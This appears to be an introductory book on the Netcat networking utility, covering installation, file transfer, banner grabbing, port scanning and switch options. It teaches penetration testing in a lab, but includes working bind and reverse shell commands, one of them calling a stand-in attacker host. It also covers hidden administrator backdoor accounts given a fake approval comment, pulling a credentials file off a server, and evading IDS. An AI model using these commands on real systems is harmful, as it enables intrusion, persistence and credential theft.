Instant Netcat Starter

Netcat is a flexible and lightweight utility that can be used in a variety of scenarios. In this section, I will cover some of the more common uses and, in later sections, I will cover some of the more exotic uses.

Regardless of the need, there is probably a creative solution that Netcat can help fulfill for its operator. With this in mind, let's dive into the meat and potatoes of this utility by downloading and working with Netcat directly. We will look at getting you up and running with both the Unix/Linux and Windows versions of the utility. Let's go!

The requirements for Netcat are reflective of the good old days of computing, when Bill Gates was famously (and also incorrectly) attributed to the 640 K memory ceiling on personal computing needs (see http://www.wired.com/politics/law/news/1997/01/1484). While Netcat is not quite that lightweight, let's examine the requirements.

Step 1 – what do I need?

One of the most attractive features of using Netcat in your environment is the incredibly small footprint that the utility occupies on both the client and the listener. If you are not completely comfortable in a Command-line Interface (CLI) environment, fear not. Most of the heavy lifting for installing Netcat is done in the steps leading up to the installation.

Before diving in with both feet, there is some minor historical context that must be imparted to you. As mentioned before, Netcat is an oldie, but goodie. One of the byproducts of its longevity is how the utility has been maintained over the years. There have essentially been three major paths that the utility has evolved through. The first is the original Unix Netcat that was released by Hobbit. This version will contain the Version 1.10 (or 1.11 in some instances). The second major version is the GNU Netcat version that is hosted on SourceForge's web-based source code repository. The GNU version's goal is to have full compatibility with all of the functions of Unix Netcat Version 1.10. Finally, this book would be remiss to not include references to the Nmap project's version of Netcat, simply called Ncat. According to the Nmap Project website, Ncat was written for the Nmap Project as a much-improved reimplementation of the venerable Netcat (Nmap Project).

The last thing you need to be aware of regarding the original Unix Netcat is that some flavors of Linux and Unix may have recompiled the original Unix Netcat without the ability to execute programs upon connection to the listener. The DGAPING_SECURITY_HOLE option allows an operator to execute programs using the –e switch to do a number of powerful tasks, including launching a shell. As a result, those precompiled, preinstalled versions are considered "safer" than the other versions that allow the –e switch. If you were to search for "Netcat DGAPING_SECURITY_HOLE" in your favorite search engine, you will undoubtedly see the equivalent of a hamster slap fight over the risks and benefits of the DGAPING_SECURITY_HOLE option. To determine whether your instance of Netcat was compiled with the DGAPING_SECURITY_HOLE option, simply type nc –h in the command line. The following screenshot demonstrates the output of a Netcat instance without the DGAPING_SECURITY_HOLE (notice the absence of the –e switch):

Conversely, the following screenshot demonstrates the Netcat utility with the DGAPING_SECURITY_HOLE option enabled:

Netcat is a relatively easy program to obtain, configure, and install. In fact, most distributions of Unix and Linux have a precompiled version of Netcat already installed and configured. We will briefly discuss the primary reason why you may want to recompile your instance of Netcat in a bit, but for now, let's focus on the requirements to get you up and running quickly.

Fortunately, the distributions I am providing links to in this section all have the DGAPING_SECURITY_HOLE option enabled. This includes the Unix Netcat, GNU Netcat, and, of course, Ncat for both Windows and Unix.

Before you obtain and install Netcat, you will need to check that you have all of the required elements, listed as follows:

• Disk space: 300 KB free (minimum). You read that correctly. On Windows, the nc folder, including all of the source and help files, occupies 280 KB on disk. For Windows installations, once you are done extracting the files, the only required file is nc.exe, which weighs in at 60 KB.

• Memory: 2 MB (minimum), 8 MB (recommended).

Windows distributions are relatively straightforward, once you find the archive to download from.

Step 2 – downloading Netcat from the Internet

Finding the Windows binaries has proven somewhat difficult and unreliable, as the most common distribution point, formerly located at http://www.vulnwatch.org/netcat/nc111nt.zip appears to have gone offline and the binary is not available. Fret not, in doing a search for nc111nt.zip on my favorite search engine, I was able to locate two mirror sites that appear to be both reliable and committed to hosting the binary. Please check out one of the following sites:

• http://www.hackosis.com/wp-content/uploads/2007/12/nc111nt.zip

• http://joncraton.org/files/nc111nt.zip

For the purpose of our exercises, we will be using the version from these sites, both of which calculated an MD5 hash value of 37f2383aa4e825e7005c74099f8bb2c3, as shown in the following screenshot (special thanks to the Security Xploded team for creating an awesome hash generator tool):

Step 3 – extracting Netcat from ZIP archive

For Windows binaries, simply double-click on the nc111nt.zip file you downloaded in Step 2 – downloading Netcat from the Internet. The only file that is required to run is nc.exe, located in the extracted folder as shown in the following screenshot:

Step 4 – verifying program operation

Once this is completed, you can verify the success of compilation and installation by typing the nc –h command in the command prompt.

If your screen looks similar to what is shown in the preceding screenshot, then you have successfully implemented Netcat on the Windows platform. From this point, you can continue to explore other distribution installation instructions, or skip ahead to the next section where we will actually start working with the tool.

For Linux/Unix installations, you may find it easier or slightly more difficult to get up and running with Netcat. Today, many distributions of Linux (as well as Mac OS X, based on BSD) have a version of Netcat preinstalled. However, the installed version may not suit your exact needs; therefore, let's examine a couple of different approaches to getting the right version on your Linux/Unix machine.

Step 2 – downloading Netcat from the Internet

In my experience, most distributions of Linux have the Unix version of Netcat available within the package management applications on your particular distribution. However, there may be a time when you will want to grab the source from a trusted location. The following locations host the binaries:

• http://packetstormsecurity.org/files/download/14051/nc110.tgz

• http://sourceforge.net/projects/nc110/files/latest/download

The MD5 hash produced by this file is 402632f2fe01c169ff19a0ad6e9d608c, as shown in the following screenshot:

Step 3 – installing Unix Netcat

As mentioned earlier, most distributions of Linux have Netcat installed by default. In this example, I am using Linux Mint 13, with the MATE desktop. In my case, the version of Netcat that I am running by default is an OpenBSD version that has the DGAPING_SECURITY_HOLE option disabled. Since we will be exploring this option in future exercises, I will need to install the proper version. In later examples, I will show you how to compile and install Netcat from a source; however, in this example, I will use Linux Mint's Package Manager to install the correct version. The following screenshot shows the default Netcat installation; notice the text that explains that there is another version available in the Netcat-traditional package (line 3):

Before we install the correct Netcat binaries, we will go ahead and remove the old version. To do this, you can either issue the apt-get command from the command line, or simply launch your package manager and have the script do it for you. We will take the GUI route, probably much to the chagrin of Linux purists. For those of you wanting to remove the package from the command line, simply type the command sudo apt-get remove --purge netcat-openBSD, type your sudo password, and select Y to confirm. However, assuming zero experience in Linux, from the MATE desktop, we will first select the Package Manager application as shown in the following screenshot:

Because Synaptic is modifying your system, you will likely be required to enter your sudo credentials as shown in the following screenshot:

A listing of software packages will appear. By entering netcat in the search bar, you will see both the netcat-openbsd package and the netcat-traditional package. The green box in the following screenshot shows that netcat-openbsd is being installed currently:

We will mark the netcat-openbsd package for complete removal using the right mouse button, as demonstrated in the following screenshot:

The square will turn from green to red to indicate this, as shown in the following screenshot:

Click on the Apply button. Synaptic will tell you what the results of the actions will be, and you will be presented with the image in the following screenshot:

After we apply to commit the complete removal of the netcat-openbsd package, the package manager will execute the requested actions and, when completed, shows you the feedback as displayed in the following screenshot:

Now we will simply install the netcat-traditional package using the same technique. If you want to install from the command line, simply type sudo apt-get install netcat-traditional, and hit Enter. The following screenshot demonstrates marking the netcat-traditional package for installation with the right mouse button:

In the next screenshot, I demonstrate what you should see when you apply the installation.

Finally, the following screenshot shows the result of the operation:

Step 4 – verifying program operation

Once this is completed, you can verify the success of compilation and installation by typing the nc –h command in the command prompt. If your screen looks similar to the following screenshot, you have successfully installed the utility. Feel free to stick around while we install the GNU Netcat utility, or skip ahead to the next section.

Keep in mind that the Hobbit/Unix version of Netcat is not centrally supported or maintained. Therefore, you may want to learn and begin keeping up with the currently supported and maintained versions from the GNU Netcat project.

Step 2 – downloading GNU Netcat from the Internet

Finding the GNU Netcat is very simple, as its source is being maintained on the SourceForge web-based source code repository. To download GNU Netcat, navigate to http://netcat.sourceforge.net as shown in the next screenshot, and select the download link as displayed in the upper-right corner of The GNU Netcat project page:

When selecting the download link, you will be presented with a page that looks similar to the following screenshot, allowing you to select both the RPM and compressed archive files:

Simply select the desired distribution and you are off to the races. Unlike the Unix Netcat implementation, the GNU Netcat distributions provide the MD5 hashes for you directly on the site, so please verify your download before installing to make sure there are no errors and no tinkering has been done to the files.

Now, for the sake of consistency, we downloaded the package using our trusted web browser. However, just to change things up a bit, we will use a different means for compiling and installing GNU Netcat using our trusted Command Line Interface (CLI). If you have never compiled and installed a package from a source, don't worry. We will be getting dirt under our fingernails, but it will be a good experience. So let's do it!

Step 3 – compiling and installing GNU Netcat

From your Linux machine, either use the wget command or simply browse to the GNU Netcat download URL. In the command line, type the following command:

wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz

Once the archive is downloaded, navigate to the directory, and type in the following commands, as shown in the next screenshot:

tar –xzf netcat-0.7.1.tar.gz
cd Netcat-0.7.1
./configure

After the system does its thing (several lines of text will fly by), you will return to the shell prompt. As shown in the next screenshot, type the following command:

make

Finally, type the following command to install the compiled binaries, as shown in the next screenshot:

sudo make install

Step 4 – verifying program operation

If all went well, you should be able to type in nc –h at a shell prompt and see the results of your efforts in the next screenshot. That wasn't so bad now, was it?

The Nmap Project integrates Ncat with their Nmap application, so installing Ncat is as simple as installing Nmap. For our purposes, the specific installation instructions for Nmap are outside of the scope of this book; however, you can find the download page for Nmap and Ncat at http://www.nmap.org/download.html.

Just so you can see the similarities between the Unix and GNU Netcat utilities, the screenshot that follows shows the first page of options. In this screenshot, I am using my personal favorite, Linux distribution, BackTrack, which can be found at http://www.backtrack-linux.org. Important to note that while the other versions of Netcat are launched using the nc executable, the Nmap Project's utility is launched from the command ncat.

By this point, you should have at least one working installation of Netcat and are free to play around and discover more about it. If we did not cover your specific operating system or Linux distribution, please refer to your distribution's man pages. However, we will continue under the assumption that when we flip over to the next section, we will be looking at roughly the same things. So, are we ready to actually get underneath the hood?

For this exercise, we are going to use a simple configuration to demonstrate how Netcat can be used as a simple chat interface between a client and a listener. For these exercises, the flavors of Netcat and the operating systems do not matter. In this specific exercise, you only really need a single machine running two instances of Netcat from the command line to accomplish the goals. However, future lessons will probably work best with multiple machines, which can easily be accomplished using a virtualization software application from one of the sources listed in the following table:

For this exercise, I will be connecting to the TCP port 31337. This port number could be anything really; I chose 31337 for no particular reason. To illustrate the relationship between an IP address and a port number, think of how the post office delivers mail to you. If you consider that your street address is analogous to an IP address, a port can be thought of as the name on the envelope. It is up to the sender to identify the specific person that the mail is intended for. If all goes well, the recipient will recognize that the mail is destined for a specific person. Of course, perhaps the sender knows that John, Mary, Jane, and Gregory live at the address, 123 Main Street. At this point, the sender only needs to specify that the letter is intended for Gregory. Regardless of the port you select, once you have your client and listener configured, let's go ahead and get started with the exercise. On the listener machine, we will want to perform the following tasks:

After completing the exercise, sending the key combination Ctrl + C on either side will terminate the connection. It is important to note that if you want to re-establish the connection, you will need to launch the listener again when using the –l switch. Netcat can be run with the –L (capital L) switch only on the Windows utility, and when a connection is terminated the listener will remain open.

In the next exercise we are going to execute a basic file transfer from the role of a penetration tester or ethical hacker using Netcat. Once again, we will be using the same setup as the previous exercise. A simple scenario is that a forgetful junior server administrator has left a file, called secret.txt on the Windows server, and the file contains a username and password (see the screenshot that follows for the contents of the file). Unfortunately, the server is not running any good FTP utilities or other applications that will allow us to fulfill a file transfer. As a result, we are going to turn to our trusty utility Netcat to help us in a bind. With Netcat, it is important to understand that the files are transferred in a raw nature without any type of special characters or other indications that a file is transferred. Netcat simply processes the file, unencrypted, and waits.

On the listening computer, the Windows Server, we are simply going to type in the following command:

nc –v –w 30 –p 31337 –l < secret.txt

You will notice that there are some new switches that we have added to the command, so let's go over them now. The –v switch is the parameter for using Netcat in verbose mode. Verbosity is simply the amount of feedback that the utility provides back to the screen during operation. Netcat also supports –vv (double v) for additional verbosity that will give you the number of bytes transferred during a file transfer. The –w switch instructs Netcat to wait for a specific number of seconds before timing out the connection. In our example, we specify 30 seconds. With the exception of Windows-based listeners, if we do not initiate the transfer within 30 seconds, Netcat will throw a connection timeout error and exit to a prompt. Windows-based listeners (like our example shows) do not respect the 30 seconds to initiate, but will terminate 30 seconds after the connection is complete or if communications are severed during the data stream. We have discussed the –p switch and indicated it as the port that Netcat will be listening on. Again, we have selected TCP/31337 as our listening port. The –l switch indicates that Netcat is in Listener mode. The < symbol indicates the direction of the transfer. If you are not familiar with redirection of files, think of the entire command as saying, "I want to push the secret.txt file to the listener". Later on, we will see the other side of the connection, which will essentially say, "Grab the output of the listener and push it to a file that I specify".

Once we hit Enter, our listener begins listening as illustrated in the screenshot that follows. You will notice that with the verbosity switch enabled, we see that the status is displayed. Normally, there would simply be a blinking cursor.

Now let's switch over to the client. Our command is similar, but there are some slight differences that I will explain in a second. For now, simply perform the following step, as illustrated in the next screenshot, by typing the following command in the command line:

nc –v –w 2 192.168.0.10 31337 > secret.txt

So let's review the switches and commands that we just put in. Again, the –v switch is for verbosity. The –w switch specifies that if the connection is interrupted for more than two seconds, then abort the stream. If you recall, we set the listener for 30 seconds. So why do we set the client for 2? The simple answer is that the functions of the devices dictated that the server (listener) would more likely be affected by multiple requests and various operations. Obviously, these are arbitrary parameters, so your mileage will vary.

The remainder of the command specifies the hostname or IP address of the listener, followed by the port number. Finally, we reach the other side of the redirection. As mentioned before, think of it as "take whatever 192.168.0.10:31337 is serving up, and output it to the file secret.txt". It is important to note that the name of the file here does not have to be identical to the filename on the listener. Call it bob.txt or id10t.gde; the point is, it just doesn't have to be the same.

As the transfer is occurring, the listener will show only the display as illustrated in the following screenshot:

Simultaneously, the client perspective is shown in the following screenshot:

Eventually, when the transfer is completed, the session will time out (thanks to the –w parameter on the listener). The next two screenshots show the output to the screen after the transfer is completed. First, we will show the output from the listener perspective.

Next, we demonstrate the output from the client's perspective in the following screenshot:

Finally, we can check the output of the new file that was created on our client machine to verify that the text is identical, as illustrated in the following screenshot:

In this very basic example, we executed a file transfer between the listener and client using nothing more than Netcat as the conduit. You may be asking yourself why this is such a big deal, when file transfers occur all the time using far more sexy programs. To this question, we would answer that Netcat's power lies in its flexibility and its simplicity. With very little overhead, we have the ability to move files between two (or more) machines over any port we need to. Is a firewall blocking TCP port 21? Shift Netcat to an open port, that is, TCP/80 and you are off to the races. Netcat is not the ideal file transfer solution for every situation, but my intention here is only to demonstrate some basic capabilities and lay the groundwork for more complicated uses.

Sometimes, we may need to interrogate a particular service or port to see what is happening, because it is not immediately obvious. For instance, think of the slew of Trojan horses and other applications that may be running on a strange port. Alternatively, perhaps you are conducting a penetration test and need to interrogate a web server to determine the version and patch level that the server is running. For all those who are not very familiar with Netcat, a common solution for accomplishing this is through Telnet. However, as we have explained, applications like Telnet alter the data stream and may produce unpredictable results. Since Netcat does not alter the data stream, it is an ideal tool to use for banner grabbing. So let's go ahead and see what we have and give it a go. The screenshot that follows describes the environment. Note that the device located at 192.168.0.10 appears to be a web server of some type. For the purpose of this exercise, let us assume we discovered that TCP Port 80 was listed as open-based on a simple port scan of the host.

The syntax to execute a basic banner grab from a target is simply to use the target address or hostname and the port to be interrogated. From our client machine, we perform the following steps:

In the preceding example, we established a simple connection to a port on our target web server. In this particular situation, we were not concerned with stealth, and so we simply opened the connection, sent an unexpected stream to the server, and convinced it to tell us that we made an error in our request, as evidenced by the HTTP status code of 400. In this situation, we discovered what we wanted, which was the version of the web server application. In a more realistic scenario, we would not be so bold to simply brute force a response such as this, as our IP address and details are all over the server log. Rather, we would probably look to interrogate the service in a manner that adheres to the protocol of the service.

The options that you have with banner grab are limited only by the protocol and functions of the service itself. Remember, you are establishing a raw socket between your client and the web server. In the next example, we will do the same basic technique, only instead of doing it so noisily, we will use the protocol's syntax and spoof some details of the connection.

Once again, type the following syntax as shown in the code and illustrated in the screenshot that follows:

nc 192.168.0.10 80
GET / HTTP/1.1
Host:  192.168.0.10
User-Agent: SPOOFED-BROWSER
Referrer: K0NSP1RACY.COM
<enter>
<enter>

The web server responds with an HTTP status code of 200, meaning OK. As you see in the screenshot that follows, the web server pushes the HTML code to the connection. Depending on your purpose for initiating the connection, you can either camouflage yourself in the server logs or make it easy to find your specific connection information.

At this point in the book, you should be starting to get a sense of some of the things that are possible with a minimal amount of effort using Netcat. While Netcat is a compact utility, it has amazing power in the hands of a capable practitioner. With some of the basic use cases and a general sense of the utility itself, we can begin exploring some more advanced use cases and features of the utility in the next section.

In this feature, we are going to demonstrate how easy it is to obtain a remote shell on a target computer system. In real life, one would look to push the Netcat executable and launch it using something like Meterpreter within Metasploit, or packing the binary with some parameters and tricking the end user to launch the code. Both of these are outside of the scope of this book. What I will be demonstrating in these steps is getting the shell on both Windows and Linux, validating access rights, and adding a backdoor to allow more options later. Like the exercises from the previous section, I will explain the switches and parameters that we are using.

Windows remote shell (and simple post-exploitation hi-jinks)

To begin with, we will spawn a remote shell on a Windows platform in the following steps:

Preparing the listener

To prepare the listener, we will type the following command into the command line:

nc –Lp 31337 –vv –e cmd.exe

In the preceding example, we are using the capital L switch (-L) to maintain a persistent connection with the listener. This is only a Windows feature, and while it is possible to craft a script to do something similar on the Linux side, we will not be covering that in this book. Keep in mind that under typical use, when we disconnect from our client machine, the Netcat executable terminates. With the –L switch, the executable continues to listen for new connection attempts.

The –vv switch tells Netcat to be extra verbose with its output. For this particular feature, the –vv switch will not do much; however, in file transfers and other use cases it will, as we will see later.

The –e switch is where the magic happens. As noted in the Installation section, the –e switch indicates the DGAPING_SECURITY_HOLE feature, and allows us to do the devious things we are about to do. cmd.exe is the name of the executable for a command shell in Windows. Now, given the context and the steps explained previously, perhaps it is more understandable as to why Antivirus packages and firewalls flag Netcat as potentially malicious.

Connecting to the target

Connecting to the target is as simple as our first exercises, and simply consists of the following string:

nc 192.168.0.10 31337

Running a directory listing on the target

Once we have our Windows command shell launched, we can interact with it as if we were using Telnet or working on the console directly.

As shown in the preceding screenshot, we simply run a directory listing using the dir /w command. While out of scope for demonstrating the capabilities of Netcat, once you are at this step, you can interact with the remote shell in the same manner as if it were a local shell.

Making a directory on the target

At this point, from an information security perspective, we have exploited the computer, and can begin post-exploitation work. From a legitimate operations perspective, you would be able to read log files and perform command-line troubleshooting. As a simple demonstration, make a directory using the md <directory name> command (I have called mine pwn3d), as shown in the following screenshot:

Verifying directory was created

Once the md pwn3d command is issued, we can verify if the directory was created.

Adding a local user and granting administrator rights

Just to finish the demonstration, I will add a local user to the system, and grant that account local administrator rights. Type in the following command:

net user /add bob Netcat /comment:"Approved through 12/31/2012 per CTO" /fullname:"Bob Wilson"

It will create the account with all of the most obvious fields completed. With the user account added, I simply type the command net localgroup Administrators bob /add to grant the newly created account administrator rights, as shown in the following screenshot:

Now, for completeness, I will spawn the Local Users and Groups container in Computer Management to verify if the account is created. Note that while the net user command is perfectly happy with just the username and password parameters, I would like to add the full name and comments to make the account look more authentic to the casual observer.

If I pull up the group membership for the Administrators group, I can see that our user account bob is now a member, as shown in the following screenshot:

Another very important item to note with Netcat is that it does not matter which side the listener is and which side the client is. Assume I was running a Netcat listener on port TCP/80 on a host (rogue.k0nsp1racy.com) outside of a firewall (as depicted in the screenshot that follows), and ran the following command from within the confines of my corporate network to launch a command shell:

nc rogue.k0nsp1racy.com 80 –e cmd.exe

Assuming that the firewall rules are permitted, I would be able to create an unencrypted tunnel between the two machines as follows:

Linux remote shell

Obtaining a remote shell on a Linux machine is very similar to doing it on Windows. However, there are a couple of things that appear differently. First, when you connect to a Windows shell, you are presented with a user prompt that helps you to be oriented. However, on the Linux side you will see no such prompt. It takes a little bit of getting used to, but it should not affect the operations drastically. Secondly, I mentioned in the Installation section that Netcat runs under the context of the user that has launched the process. On my Linux Mint machine, my user account is not a root user. Therefore, in order to accomplish the same goals as the preceding Windows Feature, I need to make a concession and run Netcat through sudo. This will allow me to replicate the preceding features as closely as the prior feature to provide an apple-to-apple comparison. So, as mentioned earlier, we will perform the following steps:

Preparing the listener

Like we did on the Windows side, to prepare the listener we will type the following command into the command line:

sudo nc –lp 31337 –e /bin/bash

As we see in the screenshot that follows, we are simply calling the /bin/bash shell on connection, which is equivalent to the Windows command prompt. However, unlike the Windows counterpart, the capital L switch means something completely different in GNU Netcat, and does not even exist in the original Unix Netcat.

Connecting to the target

As I have demonstrated in the previous exercise, you simply connect to the host (as shown below) and the port that you want to connect to, and the listener will serve up the bash shell for you as follows:

nc 192.168.0.11 31337

Running a directory listing on the target

As mentioned in the preceding section, the Linux side does not provide the same level of feedback to let me know if I have a bash shell. However, by typing in ones in the shell, we see that we do return a listing of the directories and files on the remote system, as shown in the following screenshot:

Making a directory on the target

As demonstrated in the following screenshot, I created a directory called pwn3d using the mkdir command and the full command is mkdir pwn3d:

Verifying if the directory was created

After performing another ls command, as demonstrated in the following screenshot, we see that the directory, in fact, was created:

Adding a local user and placing into the root group

Finally, we use the useradd command to add a local user to the system and grant the account bob access to the root group. This, once again, is demonstrated as follows:

useradd –g root bob

Next, we want to provide the verification of the useradd action, first by doing a simple grep over /etc/passwd, as shown in the next screenshot using the following command:

grep bob /etc/passwd

Lastly, we will dump the entire /etc/passwd file next using the following command:

tail /etc/passwd

When most people think of port scanners and port scanning capabilities, they generally don't think of Netcat in the same vein as tools like Nmap, Angry IP Scanner, or Foundstone's SuperScan. However, Netcat can perform basic port scanning capabilities and even offers the ability to obfuscate the source of the port scan. The following steps will be taken to demonstrate this feature:

Basic port scanning against a target

Port scanning using Netcat does not require a listener, so we can run it from our client directly. In this step, I will be running a basic port scan from a GNU Netcat utility. Keep in mind that a goal of the GNU Netcat project is to maintain compatibility with the original Unix Netcat, so all of these commands should work regardless of the flavor of Netcat you are running. The basic syntax is as follows:

nc –v –w 1 192.168.0.10 –z 1-1000

By now, many of these switches should be familiar. The –v is for verbosity, which in our port scan indicates the open ports that the port scan uncovers. The –w 1 parameter instructs Netcat to wait for one second between scan attempts, or in other words, indicates how long it needs to wait for a port to respond as being open or closed. Next is the target we want to scan, which in this example is 192.168.0.10. The –z switch is new, and indicates that Netcat should operate in zero I/O mode. Zero I/O mode, in this case, speeds up the process of executing the port scan by ignoring any latency baked in by the program to account for delays by the CPU. Finally, we specify the port range to scan. As listed in the preceding section, the port scan is only targeting TCP ports and not looking for UDP ports. If we wanted to scan UDP ports, we could specify the –u switch. Another switch that we could use is the –n switch. By default, Netcat will utilize DNS to look up the IP address of the host. While we have been using IP addresses exclusively in our samples in this book, we could have just as easily used hostnames. The –n switch bypasses name resolution, which in certain instances can reduce your footprint in logs.

Randomized port scanning against a target

There may be times that you want to be a little more cautious with alerting Intrusion Detection Systems (IDS) or Intrusion Prevention Systems (IPS) of your port scanning activities. Simply running a port scan against a range of ports in consecutive order is almost a sure fire way of getting detected. While most IDS/IPS systems are smart enough to detect a random scan, you may be able to randomize your ports and slip as undetected. The odds are certainly greater of avoiding detection with randomized ports than sequential; however, your mileage may vary. Essentially, we are going to use the same syntax, only this time we will add the –r switch, which instructs Netcat to randomize the port scan.

nc –v –r –w 1 192.168.0.10 –z 1-1000

More verbose scanning against a target

Sometimes, when you are required to produce evidence of a penetration test, you may want to definitively see the status of each port regardless of it being opened or closed. To do this, we will turn to the more verbose switch –vv. This will output each port and scan whether it was opened or closed. The code that follows is the one we will run to perform the scan. Please note, for brevity, I will be limiting the ports so that they all fit in the following screenshot:

nc –vv –r –w 1 192.168.0.10 –z 20-30

Scanning a range of devices with a script

To this point, we have shied away from harnessing the power of scripts to enhance Netcat's ability to operate in a variety of use cases. We simply did not want to distract from the utility itself and have you troubleshooting a bunch of scripts. However, when scanning a range of hosts, we must do so in a script. It has been a little while since I have done serious shell scripting, but this last step will give you an idea of what we can do with the power of scripts. The following code snippet is essentially a for loop construct, with a simple variable substitution:

for i in {10..12}; do nc –vv –n –w 1 192.168.0.$i 21-25 –z; done

In pseudo-code, the loop that follows is performing the following tasks:

"For each IP address, 192.168.0.10, 192.168.0.11, and 192.168.0.12, return the results (whether opened, closed, or timed out) of each port between TCP/21 and TCP/25. Don't bother with name resolution, and wait for one second in between connects."

In the next screenshot, we see the output as it exists in my lab segment:

Throughout this book, I have tried to incorporate the use of as many of the switches that Netcat offers within the confines of a realistic use case for someone just becoming familiar with the utility. With the intention of this book to get you quickly up to speed on Netcat, there are simply some switches that would have detracted from the overall purpose of this book had I gone into them. So let's take a cursory look at some of the other key switches that are available, and I will attempt to explain them in a manner that does not simply regurgitate the help file.

If we perform a dump of the help file, as we demonstrate in the next screenshot, the first option that we did not cover was the –d parameter. There will be times when you will want to run Netcat without the gaudy command prompt window sticking up for everyone to see. The –d switch runs the Netcat utility in a background mode, so it is not immediately visible on the screen. Keep in mind, that even if the executable does not show on the screen, it is visible via the task manager and the traffic is still visible via sniffer. The most common use case for wanting to use the –d switch is if you are using Netcat as a Trojan of some sort or want to evade detection from a casual user of the system.

The next switches are the –g switch and the –G switch. The –g switch allows you to force a data stream to follow a specific path through the network. The –G switch helps to track the connection through the network path and is primarily used for network troubleshooting with Netcat.

The –o switch allows Netcat to serve as a rudimentary sniffer, similar to the raw output from a hex dump. A scenario that leverages this sort of option would be if you configured Netcat as the man-in-the-middle between client(s) and server. With the –o switch, it would be relatively simple to grab passwords or other sensitive data as it was traversing through your connection. The –o switch dumps the raw data to a file of your choice where it could be picked up and examined later.

The –s switch is used to anchor the socket on a device that has multiple interfaces assigned. Like the –p switch, Netcat can bind to any interface that is local and has privileges for. I have never used this particular switch, although the Netcat README file specifies a use case as follows:

"You can use Netcat to protect your own workstation's X server against outside access. X is stupid enough to listen for connections on any server and never tells you when a new connection arrives, which is one reason it is so vulnerable. Once you have all your various X windows up and running, you can use Netcat to bind just to your Ethernet address and listen to port 6000. Any new connection from outside the machine will hit Netcat instead of your X server, and you get a log of who's trying to do so. You can either tell Netcat to drop the connection, or perhaps run another copy of itself to relay to your actual X server on localhost. This may not work for dedicated X terminals, but it may be possible to authorize your X terminal only for its boot server, and run a relay Netcat over on the server that will in turn talk to your X terminal. Since Netcat only handles one listening connection per run, make sure that whatever way you rig it causes another one to run and listens on 6000 soon afterwards, or your real X server will be reachable once again. A very minimal script just to protect yourself could be as follows:

while true ; do
  nc -v -l -s  -p 6000 localhost 2
done

It causes Netcat to accept and then close any inbound connection to your workstation's normal Ethernet address, and another copy is immediately run by the script. Send a standard error to a file for a log of connection attempts. If your system can't do the specific bind thing all is not lost; run your X server on display :1 or port 6001, and Netcat can still function as a probe alarm by listening on 6000" [Source: Netcat README file].

The following people contribute greatly to the Netcat community and are among the best in the information security industry. I highly encourage following them on Twitter and meeting them in real life as well.